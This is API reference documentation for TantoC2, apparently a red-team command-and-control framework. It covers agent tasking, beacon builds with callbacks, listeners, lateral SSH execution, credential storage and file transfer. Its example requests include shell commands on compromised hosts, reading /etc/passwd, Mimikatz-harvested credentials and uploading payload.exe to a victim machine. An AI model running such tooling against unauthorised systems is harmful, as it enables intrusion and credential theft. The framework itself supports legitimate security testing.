Skip to main content
  1. Documentation/
  2. Developer Guide/

API Reference

Table of Contents
Complete reference for building automation, integrations, and tooling on top of TantoC2. All endpoints require a JWT access token except login.

Authentication
#

All API requests must include the access token:

1
Authorization: Bearer <access_token>

Token Acquisition
#

1
2
3
4
POST /api/v1/auth/login
Content-Type: application/json

{"username": "admin", "password": "password"}

Response:

1
2
3
4
5
6
7
8
{
  "access_token": "eyJ...",
  "refresh_token": "eyJ...",
  "expires_at": "2026-03-23T11:00:00Z",
  "user_id": "uuid-...",
  "username": "admin",
  "role": "admin"
}

Token Refresh
#

1
2
3
4
POST /api/v1/auth/refresh
Content-Type: application/json

{"refresh_token": "eyJ..."}

Returns a new token pair. The old refresh token is consumed (one-time use).

Roles
#

RolePermissions
adminFull access, including user management and engagement lifecycle
operatorCreate tasks, run modules, manage listeners, create builds
collectorSubmit collection requests; read access to assigned agents

Endpoints annotated with “Operator+” require operator or admin role. “Admin” requires admin role.


Python Client Library
#

For scripting and automation, use the bundled client library:

1
2
3
4
5
6
7
8
9
from tantoc2.client import TantoC2Client

client = TantoC2Client("http://localhost:8443")
client.login("admin", "password")

# All REST resources are available as typed methods
agents = client.agents.list()
task = client.agents.create_task(agents[0]["id"], "survey")
result = client.agents.get_task_result(agents[0]["id"], task["id"])

See Client Library for the full method reference.


Engagements
#

MethodEndpointAuthDescription
POST/api/v1/engagements/AdminCreate engagement
GET/api/v1/engagements/AnyList (filtered by access)
GET/api/v1/engagements/<id>AnyDetail
PUT/api/v1/engagements/<id>/activateAdminActivate
PUT/api/v1/engagements/<id>/deactivateAdminDeactivate
POST/api/v1/engagements/<id>/archiveAdminArchive to encrypted file
POST/api/v1/engagements/importAdminImport from archive

Create Engagement
#

1
2
3
4
5
6
POST /api/v1/engagements/
{
  "name": "client-engagement-2026-q1",
  "description": "Q1 red team assessment",
  "passphrase": "strong-archive-passphrase"
}

Response: {"id": "uuid-...", "name": "...", "status": "inactive", ...}


Agents
#

MethodEndpointAuthDescription
GET/api/v1/agents/AnyList agents
GET/api/v1/agents/<id>AnyAgent detail
POST/api/v1/agents/<id>/tasksOperator+Create task
GET/api/v1/agents/<id>/tasksAnyList tasks
GET/api/v1/agents/<id>/tasks/<tid>/resultAnySingle task result
GET/api/v1/agents/<id>/tasks/<tid>/resultsAnyAll results (streaming/multi)
POST/api/v1/agents/<id>/killOperator+Kill agent
PATCH/api/v1/agents/<id>/tagsOperator+Update tags
PATCH/api/v1/agents/<id>/notesOperator+Update notes

Create Task
#

1
2
3
4
5
6
7
POST /api/v1/agents/<agent_id>/tasks
{
  "task_type": "shell",
  "payload": {
    "command": "whoami && id"
  }
}

Common task types: shell, survey, upload, download, load_module, unload_module, beacon_config, kill.

Task Result
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
GET /api/v1/agents/<agent_id>/tasks/<task_id>/result

{
  "task_id": "uuid-...",
  "status": "completed",
  "result": {
    "output": "root\nuid=0(root) gid=0(root) groups=0(root)\n",
    "exit_code": 0
  },
  "created_at": "...",
  "completed_at": "..."
}

Use /results (plural) for tasks that produce multiple results (streaming modules).

List Agents with Filters
#

1
2
3
4
GET /api/v1/agents/?status=active
GET /api/v1/agents/?status=dormant
GET /api/v1/agents/?status=dead
GET /api/v1/agents/?status=killed

Agent Capabilities and Modules
#

MethodEndpointAuthDescription
GET/api/v1/agents/<id>/capabilitiesAnyDeclare capabilities
GET/api/v1/agents/<id>/modules/loadedAnyCurrently loaded modules
POST/api/v1/agents/<id>/modules/loadOperator+Load a module into agent
POST/api/v1/agents/<id>/modules/unloadOperator+Unload managed module

Load a Module
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /api/v1/agents/<agent_id>/modules/load
{
  "module_name": "port_scan",
  "module_format": "bof",
  "daemonize": false,
  "options": {
    "target": "10.0.0.0/24",
    "ports": "22,80,443"
  }
}

Agent Capabilities Response
#

1
2
3
4
5
6
7
8
GET /api/v1/agents/<agent_id>/capabilities

{
  "module_formats": ["bof", "shellcode"],
  "built_in_commands": ["ls", "cat", "ps", "upload", "download", "load_module"],
  "supports_daemonize": true,
  "supports_relay": false
}

Agent Modules (Compiled Payloads)
#

MethodEndpointAuthDescription
GET/api/v1/agent-modules/AnyList all registered modules
GET/api/v1/agent-modules/<name>AnyModule detail with manifest
GET/api/v1/agent-modules/compatible/<agent_id>AnyCompatible modules for agent
POST/api/v1/agent-modules/refreshOperator+Re-scan module directories

Compatible Modules Response
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
GET /api/v1/agent-modules/compatible/<agent_id>

[
  {
    "name": "port_scan",
    "description": "TCP port scanner",
    "format": "bof",
    "platforms": ["windows", "linux"],
    "architectures": ["x64"],
    "options_schema": {
      "target": {"type": "str", "required": true, ...},
      "ports":  {"type": "str", "required": false, "default": "1-1024"}
    }
  }
]

Listeners
#

MethodEndpointAuthDescription
POST/api/v1/listeners/Operator+Create listener
GET/api/v1/listeners/AnyList listeners
GET/api/v1/listeners/<id>AnyListener detail
POST/api/v1/listeners/<id>/startOperator+Start listener
POST/api/v1/listeners/<id>/stopOperator+Stop listener
DELETE/api/v1/listeners/<id>Operator+Delete listener

Create Listener
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /api/v1/listeners/
{
  "name": "main-https",
  "transport_type": "http",
  "host": "0.0.0.0",
  "port": 443,
  "tls_enabled": true,
  "tls_cert_file": "/path/to/cert.pem",
  "tls_key_file": "/path/to/key.pem",
  "callback_protocol": "https",
  "options": {}
}

transport_type must match a registered transport’s plugin_name() (e.g., "http", "tcp").


Builds
#

MethodEndpointAuthDescription
GET/api/v1/builds/packagesAnyBuildable packages with templates
GET/api/v1/builds/packages/<name>/templatesAnyTemplates for a package
GET/api/v1/builds/packages/<name>/schemaAnyBuild config schema
POST/api/v1/builds/Operator+Create a build
GET/api/v1/builds/AnyList builds
GET/api/v1/builds/<id>AnyBuild detail
GET/api/v1/builds/<id>/downloadOperator+Download agent binary

Create a Build
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /api/v1/builds/
{
  "package_name": "dev_agent",
  "template_name": "dev_beacon",
  "callbacks": [
    {"host": "10.0.0.1", "port": 8443, "protocol": "https"}
  ],
  "kill_date": "2026-06-01",
  "beacon_interval": 30,
  "beacon_jitter": 15
}

Response includes "id" for the download endpoint.

Download Binary
#

1
2
GET /api/v1/builds/<build_id>/download
Authorization: Bearer <token>

Returns the binary with Content-Type: application/octet-stream.

1
2
3
curl -H "Authorization: Bearer $TOKEN" \
  http://localhost:8443/api/v1/builds/$BUILD_ID/download \
  -o agent.py

Server Modules
#

Server-side Python plugins that interact with agents via task queuing.

MethodEndpointAuthDescription
GET/api/v1/modules/AnyList modules with metadata
GET/api/v1/modules/<name>AnyModule detail
POST/api/v1/modules/<name>/executeOperator+Execute against an agent
POST/api/v1/modules/refreshOperator+Hot-reload modules

Execute a Module
#

1
2
3
4
5
6
7
POST /api/v1/modules/my_module/execute
{
  "agent_id": "uuid-...",
  "options": {
    "path": "/etc/passwd"
  }
}

Tools (Agentless Modules)
#

Direct network interaction without an agent.

MethodEndpointAuthDescription
GET/api/v1/agentless/modules/AnyList tool modules
GET/api/v1/agentless/modules/<name>AnyModule detail
POST/api/v1/agentless/modules/<name>/executeOperator+Execute operation
POST/api/v1/agentless/modules/refreshOperator+Hot-reload
GET/api/v1/agentless/executions/AnyList executions
GET/api/v1/agentless/executions/<id>AnyExecution results

Execute a Tool Operation
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /api/v1/agentless/modules/ssh/execute
{
  "operation": "exec",
  "targets": [
    {"host": "10.0.0.5", "port": 22, "credential_id": "cred-uuid"}
  ],
  "options": {
    "command": "id"
  },
  "proxy_config_id": null
}

Interactive Sessions
#

MethodEndpointAuthDescription
POST/api/v1/agentless/sessionsOperator+Create session
GET/api/v1/agentless/sessionsAnyList active sessions
DELETE/api/v1/agentless/sessions/<id>Operator+Close session
GET/api/v1/agentless/sessions/<id>/outputAnyPoll output (drains buffer)
POST/api/v1/agentless/sessions/<id>/inputOperator+Send input

Proxy Configuration
#

MethodEndpointAuthDescription
GET/api/v1/agentless/proxies/AnyList proxies
POST/api/v1/agentless/proxies/Operator+Create proxy
PATCH/api/v1/agentless/proxies/<id>Operator+Update proxy
DELETE/api/v1/agentless/proxies/<id>Operator+Delete proxy

Proxy types: socks4, socks5, ssh_tunnel.


Credentials
#

MethodEndpointAuthDescription
GET/api/v1/credentials/AnyList (filterable)
GET/api/v1/credentials/<id>AnyDetail with decrypted secret
POST/api/v1/credentials/Operator+Create credential
PATCH/api/v1/credentials/<id>Operator+Update fields
DELETE/api/v1/credentials/<id>Operator+Delete
GET/api/v1/credentials/exportOperator+Export all

Create Credential
#

1
2
3
4
5
6
7
8
POST /api/v1/credentials/
{
  "cred_type": "plaintext",
  "username": "administrator",
  "secret": "P@ssw0rd",
  "domain": "CORP",
  "notes": "Extracted from DC via Mimikatz"
}

Credential types: plaintext, hash, ticket, token, ssh_key, api_key, certificate.

List with Filters
#

1
2
GET /api/v1/credentials/?cred_type=hash&domain=CORP&username=admin
GET /api/v1/credentials/?source_host=10.0.0.5&limit=50&offset=0

File Transfers
#

MethodEndpointAuthDescription
POST/api/v1/agents/<id>/files/uploadOperator+Upload to agent
POST/api/v1/agents/<id>/files/downloadOperator+Request download
GET/api/v1/agents/<id>/files/AnyList transfers
GET/api/v1/agents/<id>/files/<tid>AnyTransfer details
GET/api/v1/agents/<id>/files/<tid>/contentOperator+Download stored content

Upload to Agent
#

1
2
3
4
5
POST /api/v1/agents/<agent_id>/files/upload
{
  "file_data": "<base64-encoded bytes>",
  "remote_path": "C:\\Users\\victim\\Desktop\\payload.exe"
}

P2P Relay and Topology
#

MethodEndpointAuthDescription
GET/api/v1/agents/topologyAnyAll active P2P links
POST/api/v1/agents/<id>/relayOperator+Set relay agent
DELETE/api/v1/agents/<id>/relayOperator+Remove relay (direct)
GET/api/v1/agents/<id>/chainAnyFull relay chain

Plugins
#

MethodEndpointAuthDescription
GET/api/v1/plugins/AnyAll registered plugins
POST/api/v1/plugins/refreshOperator+Refresh all registries

Plugin List Response
#

1
2
3
4
5
6
7
8
9
GET /api/v1/plugins/

{
  "transports": [{"name": "http", "type": "transport"}, {"name": "tcp", "type": "transport"}],
  "agentless_modules": [{"name": "ssh", "type": "agentless_module"}],
  "agent_packages": [{"name": "dev_agent", "type": "agent_package"}],
  "crypto_providers": [{"name": "dev_crypto", "type": "crypto_provider"}],
  "protocol_codecs": [{"name": "dev_codec", "type": "protocol_codec"}]
}

Operators
#

MethodEndpointAuthDescription
POST/api/v1/operators/AdminCreate operator
GET/api/v1/operators/AdminList all
GET/api/v1/operators/<id>Admin or selfDetail
PUT/api/v1/operators/<id>AdminUpdate
DELETE/api/v1/operators/<id>AdminDelete
POST/api/v1/operators/<id>/grant-accessAdminGrant engagement access
DELETE/api/v1/operators/<id>/revoke-accessAdminRevoke access

Audit Log
#

1
2
3
4
5
GET /api/v1/audit/?engagement_id=<id>
  Optional: &principal=<username>&action=<action>
            &since=<ISO8601>&until=<ISO8601>
            &security_only=true
            &limit=100&offset=0

System
#

1
2
GET /api/v1/version    → {"version": "0.1.0", "name": "TantoC2"}
GET /api/v1/health     → {"status": "ok"}

WebSocket Events
#

Connect with Flask-SocketIO using a valid access token:

1
2
3
const socket = io("http://localhost:8443", {
  auth: { token: "<access_token>" }
});

Event Catalog
#

EventDataTrigger
agent_registered{agent_id, package}New agent registers
agent_checkin{agent_id}Agent checks in
agent_killed{agent_id}Kill command sent
task_completed{task_id, agent_id}Final task result received
task_streaming_result{task_id, agent_id}Intermediate streaming result
module_execution_started{task_id, module_name, agent_id}Module load queued
build_completed{build_id, package_name, template_name, binary_hash}Build finishes
agentless_execution_started{execution_id, module_name, operation}Tool operation begins
agentless_execution_completed{execution_id}Tool operation finishes
file_transfer_initiated{transfer_id, agent_id, direction, remote_path}Transfer starts
file_transfer_completed{transfer_id, agent_id}Transfer completes
p2p_link_created{relay_agent_id, interior_agent_id}P2P relay link established
session_output{session_id, data}Interactive session output
security_alert{event_type, details}Security-flagged audit event

Subscribing in Python
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from tantoc2.client import TantoC2Client

client = TantoC2Client("http://localhost:8443")
client.login("admin", "password")

@client.on_event("agent_registered")
def on_agent(data):
    print(f"New agent: {data['agent_id']} ({data['package']})")

@client.on_event("task_completed")
def on_task(data):
    result = client.agents.get_task_result(data["agent_id"], data["task_id"])
    print(result)

Subscribing in JavaScript
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
socket.on("agent_registered", (data) => {
  console.log("New agent:", data.agent_id);
});

socket.on("task_completed", async (data) => {
  const result = await fetch(
    `/api/v1/agents/${data.agent_id}/tasks/${data.task_id}/result`,
    { headers: { Authorization: `Bearer ${token}` } }
  );
  console.log(await result.json());
});

Error Responses
#

All errors return JSON with "error" and "message" keys:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HTTP 400 Bad Request
{"error": "validation_error", "message": "Field 'task_type' is required"}

HTTP 401 Unauthorized
{"error": "unauthorized", "message": "Token expired or invalid"}

HTTP 403 Forbidden
{"error": "forbidden", "message": "Insufficient role: operator required"}

HTTP 404 Not Found
{"error": "not_found", "message": "Agent abc123 not found"}

Rate Limiting
#

No rate limiting is applied. The API is designed for internal teamserver use on trusted networks.